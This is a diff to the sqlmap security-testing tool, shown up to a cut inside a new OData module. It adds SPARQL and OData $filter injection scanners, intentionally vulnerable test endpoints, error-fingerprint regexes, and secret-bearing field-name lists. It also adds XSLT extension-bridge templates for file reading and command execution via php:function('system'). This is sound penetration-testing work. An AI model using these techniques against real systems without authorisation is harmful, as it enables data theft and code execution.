diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 668543673e0..51c08a7e901 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -10,7 +10,9 @@ * Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL. * Added the switch `--graphql`. It tests for GraphQL injection. * Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection. -* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. +* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph. +* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return. +* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands. * Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels. * Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims. diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 3bb4b54ea5d..b348a1c9352 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -65,6 +65,7 @@ def _jwt_parse(token): JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) if PY3: + from http.client import BAD_REQUEST from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND @@ -77,6 +78,7 @@ def _jwt_parse(token): else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer + from httplib import BAD_REQUEST from httplib import FORBIDDEN from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND @@ -349,6 +351,255 @@ def hql_evaluate(value): clause = "name = '%s'" % value return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) +# --- SPARQL endpoint (vulnerable name search over a tiny in-memory triple store) ------------------ + +class _SparqlError(Exception): + pass + +# (subject, predicate, object) triples of the default graph. Objects are what a blind dump recovers. +SPARQL_TRIPLES = ( + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"), + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "luther@example.org"), + ("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"), +) +_SPARQL_PREDICATES = sorted(set(_[1] for _ in SPARQL_TRIPLES)) +_SPARQL_OBJECTS = sorted(_[2] for _ in SPARQL_TRIPLES) + + +def _sparql_bind(inner, offset): + """The string/integer a sub-pattern binds to ?v, or None when the OFFSET is past the end.""" + + if "COUNT(*)" in inner: + return len(SPARQL_TRIPLES) + if "COUNT(DISTINCT ?p)" in inner: + return len(_SPARQL_PREDICATES) + if "DISTINCT ?p" in inner: + return _SPARQL_PREDICATES[offset] if offset < len(_SPARQL_PREDICATES) else None + if "SELECT ?o" in inner: + return _SPARQL_OBJECTS[offset] if offset < len(_SPARQL_OBJECTS) else None + return None + + +def _sparql_cmp(value, cmp): + """Evaluate one comparison on the bound ?v, mirroring SPARQL semantics (an out-of-range SUBSTR is + the empty string, which is lexicographically below any real character).""" + + match = re.match(r"^\?v >= (\d+)$", cmp) + if match: + return isinstance(value, int) and value >= int(match.group(1)) + match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", cmp) + if match: + return len("%s" % value) >= int(match.group(1)) + # a quote or a backslash arrives ECHAR-escaped, the way a real store receives it inside a literal + match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', cmp) + if match: + pos, ch = int(match.group(1)), match.group(2) + ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch) + text = "%s" % value + return (text[pos - 1] if pos <= len(text) else "") >= ch + return False + + +def _sparql_predicate(pred): + """Evaluate one injected FILTER predicate against the store.""" + + pred = pred.strip() + if pred in ("1=1", "(1=1)"): + return True + if pred in ("1=2", "(1=2)"): + return False + if "FILTER(!isIRI(?zo))" in pred: # the confirm contradiction (two FILTERs) + return False + if pred == "EXISTS { ?zs ?zp ?zo }": # the confirm positive + return bool(SPARQL_TRIPLES) + match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred) + if match: + inner, cmp = match.group(1).strip(), match.group(2).strip() + offset = 0 + off = re.search(r"OFFSET (\d+)", inner) + if off: + offset = int(off.group(1)) + value = _sparql_bind(inner, offset) + return value is not None and _sparql_cmp(value, cmp) + return False + + +def sparql_evaluate(value): + """Evaluate the injected FILTER of SELECT ... FILTER(?name = ""). A well-formed boundary + reduces to its injected predicate; anything that leaves the string literal unbalanced raises a + Jena-style parser error (the fingerprint surface).""" + + # recognised OR-style boundaries: || () || + for quote, tail in (('"', '""!="'), ("'", "''!='")): + marker = '%s || (' % quote + suffix = ') || %s' % tail + if marker in value and value.endswith(suffix): + pred = value.split(marker, 1)[1][:-len(suffix)] + return _sparql_predicate(pred) + # numeric boundary: ) || () || (1=1 + if ") || (" in value and value.endswith(") || (1=1"): + pred = value.split(") || (", 1)[1][:-len(") || (1=1")] + return _sparql_predicate(pred) + # a bare, unbalanced break-out (the error probe) trips the parser + if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")): + raise _SparqlError("Parse error: Lexical error at line 1, column %d. Encountered: " % (len(value) + 40)) + # the untouched original value simply matches its row + return any(o == value for _s, p, o in SPARQL_TRIPLES if p.endswith("name")) + +# --- OData endpoint (vulnerable $filter over a tiny in-memory entity set) -------------------------- + +class _ODataError(Exception): + pass + +# entities of the "Products" set. 'Secret' is readable via $filter yet never $select-ed, so a blind dump +# recovers a property the endpoint does not otherwise expose. +ODATA_ENTITIES = ( + {"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"}, + {"Id": 2, "Name": "fluffy", "Secret": "hunter2"}, + {"Id": 3, "Name": "wu", "Secret": "letmein"}, +) +_ODATA_FIELDS = ("Id", "Name", "Secret") + + +def _odata_depths(expr): + """Paren depth after each character, IGNORING parens that sit inside a string literal (OData escapes + an inner quote by doubling it). Counting them blind made this evaluator reject filters that a real + OData service accepts - `substring(Name,0,1) eq '('` returned 400 here and 200 from ASP.NET Core - + which would let a genuine client-side bug hide behind a target-side one.""" + + depths = [] + depth, inside, index = 0, False, 0 + while index < len(expr): + ch = expr[index] + if inside: + if ch == "'": + if expr[index:index + 2] == "''": + depths.append(depth) # a doubled quote stays inside the literal + index += 1 + else: + inside = False + elif ch == "'": + inside = True + elif ch == "(": + depth += 1 + elif ch == ")": + depth -= 1 + depths.append(depth) + index += 1 + return depths + + +def _odata_split(expr, sep): + """Split on `sep` at paren depth zero (so 'a and (b or c)' is not broken inside the parentheses).""" + parts, buf = [], [] + for token in expr.split(sep): + buf.append(token) + chunk = sep.join(buf) + depths = _odata_depths(chunk) + if not depths or depths[-1] == 0: + parts.append(chunk) + buf = [] + if buf: + parts.append(sep.join(buf)) + return parts + + +def _odata_wrapped(expr): + """True when the whole expression is enclosed by one matching paren pair.""" + if not (expr.startswith("(") and expr.endswith(")")): + return False + depths = _odata_depths(expr) + return depths[-1] == 0 and all(_ > 0 for _ in depths[:-1]) + + +def _odata_eval(entity, expr): + """Recursively evaluate an OData boolean expression for one entity ('or' lowest precedence, then + 'and', then a leaf atom), so parenthesised sub-expressions nest correctly.""" + expr = expr.strip() + while _odata_wrapped(expr): + expr = expr[1:-1].strip() + ors = _odata_split(expr, " or ") + if len(ors) > 1: + return any(_odata_eval(entity, o) for o in ors) + ands = _odata_split(expr, " and ") + if len(ands) > 1: + return all(_odata_eval(entity, a) for a in ands) + return _odata_atom(entity, expr) + + +def _odata_atom(entity, atom): + """Evaluate one leaf OData boolean atom against one entity, mirroring the shapes sqlmap emits. Raises + _ODataError on an unknown property (a 400 surface).""" + + atom = atom.strip() + while _odata_wrapped(atom): + atom = atom[1:-1].strip() + + match = re.match(r"^length\('([^']*)'\) eq (\d+)$", atom) + if match: + return len(match.group(1)) == int(match.group(2)) + match = re.match(r"^startswith\('([^']*)','([^']*)'\)$", atom) + if match: + return match.group(1).startswith(match.group(2)) + match = re.match(r"^contains\('([^']*)','([^']*)'\)$", atom) + if match: + return match.group(2) in match.group(1) + if atom.startswith("substringof("): + raise _ODataError("substringof is not a v4 function") + match = re.match(r"^'([^']*)' eq '([^']*)'$", atom) + if match: + return match.group(1) == match.group(2) + match = re.match(r"^(\d+) eq (\d+)$", atom) + if match: + return match.group(1) == match.group(2) + match = re.match(r"^(\w+) eq '([^']*)'$", atom) # eq '' + if match: + if match.group(1) not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1)) + return "%s" % entity.get(match.group(1)) == match.group(2) + match = re.match(r"^(\w+) ne null$", atom) # existence probe + if match: + if match.group(1) not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1)) + return entity.get(match.group(1)) is not None + match = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", atom) # + if match: + prop, op, num = match.group(1), match.group(2), int(match.group(3)) + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + val = entity.get(prop) + if not isinstance(val, int): + return False + return {"eq": val == num, "ge": val >= num, "gt": val > num, "le": val <= num, "lt": val < num}[op] + match = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", atom) # length() N + if match: + prop, op, num = match.group(1), match.group(2), int(match.group(3)) + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + length = len("%s" % entity.get(prop, "")) + return length == num if op == "eq" else length >= num + # substring(,pos,1) eq 'c' - an inner quote arrives DOUBLED, the way the OData spec escapes it + match = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", atom) + if match: + prop, pos, ch = match.group(1), int(match.group(2)), match.group(3) + ch = "'" if ch == "''" else ch + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + text = "%s" % entity.get(prop, "") + return pos < len(text) and text[pos] == ch # 0-indexed, ordinal (case-sensitive) + raise _ODataError("Syntax error at position 0 in '%s'." % atom) + + +def odata_evaluate(name): + """Return the entities matched by $filter=Name eq ''. A balanced break-out reduces to its + injected predicate; an unbalanced string literal raises a Microsoft-OData-style parser error.""" + + expr = "Name eq '%s'" % name + if expr.count("'") % 2: + raise _ODataError("The query specified in the URI is not valid. There is an unterminated string " + "literal at position 8 in '%s'." % expr) + return [entity for entity in ODATA_ENTITIES if _odata_eval(entity, expr)] + # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ XSLT_DOC = """luther10\ @@ -1194,6 +1445,52 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/sparql/search": + # VULNERABLE: the parameter is concatenated into a FILTER string literal of a SPARQL query, + # SELECT ?name WHERE { ?p foaf:name ?name . FILTER(?name = "") }. A broken-out FILTER + # becomes an attacker-controlled boolean (boolean-based blind); a syntax break surfaces a + # Jena-style parser error. + q = self.params.get("q", "luther") + try: + matched = sparql_evaluate(q) + rows = "".join("
  • %s
  • " % o for _s, p, o in SPARQL_TRIPLES + if p.endswith("name") and matched) + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
      %s
    " % rows).encode(UNICODE_ENCODING)) + except _SparqlError as ex: + self.send_response(INTERNAL_SERVER_ERROR) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
    %s
    " % str(ex)).encode(UNICODE_ENCODING)) + return + + if self.url == "/odata/search": + # VULNERABLE: the parameter is concatenated into an OData $filter string literal, + # $filter=Name eq ''. A broken-out filter becomes an attacker-controlled boolean + # (boolean-based blind); an unbalanced literal surfaces a Microsoft-OData parser error (400). + # The response only shows Id and Name (as if $select=Id,Name), yet 'Secret' stays reachable + # through the injected filter - the property a blind dump recovers. + name = self.params.get("name", "luther") + try: + matched = odata_evaluate(name) + rows = "".join("
  • %s: %s
  • " % (e["Id"], e["Name"]) for e in matched) + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
      %s
    " % rows).encode(UNICODE_ENCODING)) + except _ODataError as ex: + self.send_response(BAD_REQUEST) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING)) + return + if self.url == "/echo": # A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every # non-SQL switch must stay silent here. A differential built on "the page changed" is diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 1eec0a39a63..751f297583c 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -86,6 +86,8 @@ from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import ODATA_ERROR_REGEX +from lib.core.settings import SPARQL_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX from lib.core.settings import XSLT_ERROR_REGEX @@ -1278,6 +1280,20 @@ def _(page): if conf.beep: beep() + if not conf.sparql and re.search(SPARQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.odata and re.search(ODATA_ERROR_REGEX, page or ""): + infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 30a43d95c67..66e08779e7c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -532,12 +532,12 @@ def start(): checkJWT() - if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)): + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.sparql, conf.odata, conf.jwt)): from lib.utils.paraminer import mineParameters mineParameters() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.sparql, conf.odata, conf.jwt)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--sparql/--odata/--jwt) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -579,6 +579,16 @@ def start(): hqlScan() continue + if conf.sparql: + from lib.techniques.sparql.inject import sparqlScan + sparqlScan() + continue + + if conf.odata: + from lib.techniques.odata.inject import odataScan + odataScan() + continue + if conf.jwt: from lib.techniques.jwt.inject import jwtScan jwtScan() diff --git a/lib/core/option.py b/lib/core/option.py index 6b145ef5432..b778f416bf2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -944,11 +944,12 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) - # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering - # hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test - # and the name lookup - keeping two lists in step is exactly how this raised StopIteration. - _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe") + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines do not run + # payloads through the tampering hook, so warn instead of silently ignoring the user's + # '--tamper'. One tuple drives both the test and the name lookup - keeping two lists in step is + # exactly how this raised StopIteration, and leaving an engine OUT (as '--hql' was) is how the + # warning silently stops covering one. + _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe", "hql", "sparql", "odata") if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines): engine = next(_ for _ in _nonSqlEngines if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " @@ -2764,7 +2765,7 @@ def _checkTor(): def _basicOptionValidation(): _nonSqlTechniques = [name for name, enabled in ( ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), - ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled] + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql), ("--sparql", conf.sparql), ("--odata", conf.odata)) if enabled] if len(_nonSqlTechniques) > 1: errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) errMsg += "each is a self-contained scan for a different back-end class - pick one" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 44ce5ded8d4..e6be7c9eddb 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -128,6 +128,8 @@ "xxe": "boolean", "xslt": "boolean", "hql": "boolean", + "sparql": "boolean", + "odata": "boolean", "jwt": "boolean", "oobServer": "string", "oobToken": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index fd322dce932..b54fcbc387c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.19" +VERSION = "1.10.8.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1268,13 +1268,34 @@ # engine speaking rather than the application echoing. XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version") -# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports -# their availability and never invokes them - probing whether a function EXISTS is not exercising it. -XSLT_RCE_PROBES = ( - ("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"), +# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command +# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the +# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers +# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a +# deterministic self-check whose result the application cannot produce by itself - not by asking whether +# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal. +XSLT_BRIDGE_PHP = "php" +XSLT_BRIDGE_JAVA = "java" + +# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge) +XSLT_BRIDGES = ( + ("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl", + "php:function('file_get_contents',%s)", "php:function('system',%s)"), + # Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the + # java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would + # run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than + # not offering it (a destructive command would look like it never ran). Hence no exec template. + ("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java", + "java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))", + None), +) + +# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target +# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere +# availability is the finding. Each is (label, boolean XPath self-check that answers 'true'). +XSLT_ADVISORY_PROBES = ( ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"), ("Saxon saxon:eval", "string(function-available('saxon:eval'))"), - ("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"), ) XSLT_MAX_FILE_LENGTH = 65536 @@ -1439,6 +1460,62 @@ "Message", "Group", "Session", "Token", "Application", "Setting", ) +# SPARQL injection ('--sparql'). Error signatures per triple-store for heuristic detection and +# fingerprinting, anchored to product-specific strings (not the bare "MalformedQueryException" / +# "Encountered" that several engines share) so they stay exclusive from the other non-SQL engines. +# Each tuple is (engine_name, regex_fragment). +SPARQL_ERROR_SIGNATURES = ( + ("Apache Jena / Fuseki", r"org\.apache\.jena|com\.hp\.hpl\.jena|Lexical error at line \d+, column \d+|\bQueryParseException\b"), + ("Virtuoso", r"Virtuoso \d+ Error|SPARQL (?:compiler|query):|\bSP03\d\b"), + # NOTE 'MalformedQueryException' is the RDF4J/Sesame API type, which Blazegraph and Stardog raise + # too - matching on it alone mislabelled them as RDF4J, so only the package name is kept + ("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"), + ("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"), + ("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"), + ("Stardog", r"com\.(?:complexible\.)?stardog"), +) + +SPARQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SPARQL_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) SPARQL blind character scan +SPARQL_CHAR_MIN = 0x20 +SPARQL_CHAR_MAX = 0x7e + +# Bounds on blind SPARQL extraction (each unit costs many requests, so keep them sane) +SPARQL_MAX_LENGTH = 1024 # an IRI or literal can be long +SPARQL_MAX_PREDICATES = 64 # distinct predicates enumerated from the default graph +SPARQL_MAX_RECORDS = 64 # triples dumped from the default graph + +# OData injection ('--odata'). $filter parser error signatures per framework, anchored to product strings +# so they stay exclusive from the other non-SQL engines. Each tuple is (framework_name, regex_fragment). +ODATA_ERROR_SIGNATURES = ( + ("Microsoft OData (WebAPI/.NET)", r"Microsoft\.OData|Microsoft\.Data\.OData|The query specified in the URI is not valid|Could not find a property named|There is an unterminated string literal at position|Syntax error at position \d+ in"), + ("Apache Olingo (Java)", r"org\.apache\.olingo|The URI is malformed|Invalid OData"), + ("OData4j / other", r"\bodata4j\b|An error occurred while processing the OData request"), +) + +ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan +ODATA_CHAR_MIN = 0x20 +ODATA_CHAR_MAX = 0x7e + +ODATA_MAX_LENGTH = 256 # a single property value +ODATA_MAX_RECORDS = 20 # entities blind-dumped +ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key + +# Candidate key properties probed to pin an entity for row-by-row extraction (real-world frequency order) +ODATA_KEY_CANDIDATES = ("Id", "ID", "Key", "Oid", "Guid", "Uuid", "Code", "No", "Number") + +# Common string property names enumerated once injection is confirmed (an unknown property makes the +# whole $filter error, so existence is a clean null-probe oracle). Ordered by real-world frequency. +ODATA_COMMON_FIELDS = ( + "Name", "Title", "Description", "Username", "UserName", "User", "Login", "Email", "Mail", + "Password", "Passwd", "Secret", "Token", "ApiKey", "Key", "Role", "FirstName", "LastName", + "FullName", "Phone", "Address", "City", "Country", "Status", "Type", "Code", "Hash", "Salt", + "Note", "Comment", "Value", "Content", "Data", "Owner", "Category", "Product", "Company", +) + XXE_IMPACT_FILES = ( ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), diff --git a/lib/core/testing.py b/lib/core/testing.py index b58a7d486b7..a335c09086d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -105,6 +105,8 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"sparql/search?q=luther\" -p q --sparql --flush-session --disable-hashing", ("is vulnerable to SPARQL injection", "back-end: 'Apache Jena / Fuseki'", "distinct predicate", "S3CR3Tvalue", "SPARQL scan complete")), # SPARQL: Jena error fingerprint + boolean oracle confirmed by an EXISTS/isIRI construct + schema-agnostic blind dump of predicates and triple objects + ("-u \"odata/search?name=luther\" -p name --odata --flush-session --disable-hashing", ("is vulnerable to OData injection", "Microsoft OData (WebAPI/.NET)' v4", "key property 'Id'", "S3CR3Tvalue", "OData scan complete")), # OData: Microsoft-OData error fingerprint + version (contains vs substringof) + boolean oracle confirmed by length()/startswith() + blind dump reaching the never-$select-ed 'Secret' property ("-u \"jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e6c106f31e7..73d18d1213c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -811,6 +811,12 @@ def cmdLineParser(argv=None): nonsql.add_argument("--hql", dest="hql", action="store_true", help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--sparql", dest="sparql", action="store_true", + help="Test for SPARQL injection") + + nonsql.add_argument("--odata", dest="odata", action="store_true", + help="Test for OData $filter injection") + nonsql.add_argument("--jwt", dest="jwt", action="store_true", help="Audit JSON Web Tokens (JWT) for weaknesses") diff --git a/lib/techniques/odata/__init__.py b/lib/techniques/odata/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/odata/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/odata/inject.py b/lib/techniques/odata/inject.py new file mode 100644 index 00000000000..746a1a0ea20 --- /dev/null +++ b/lib/techniques/odata/inject.py @@ -0,0 +1,566 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +OData injection ('--odata'). + +An application that builds an OData '$filter' from user input (?name= -> $filter=Name eq '') +hands over the whole filter expression language. Breaking out of the string literal turns the filter +into an attacker-controlled boolean, which is a boolean-based blind oracle: the entity set the query +returns is populated or empty according to a condition sqlmap controls. + + detect break the literal, then confirm a reproducible true/false differential (1 eq 1 vs 1 eq 2) + confirm an OData-only construct (length()/startswith() on a literal) that plain SQL does not parse, + so the finding is attributed to OData rather than to ordinary SQL injection + extract through the oracle, pin an entity by its key and blindly recover each string property by + length + substring binary search - reaching properties the endpoint never $select-ed + +OData is fingerprinted by version: v4 speaks contains(), v2/v3 speak substringof(). Nothing is inferred +from a payload merely 'looking 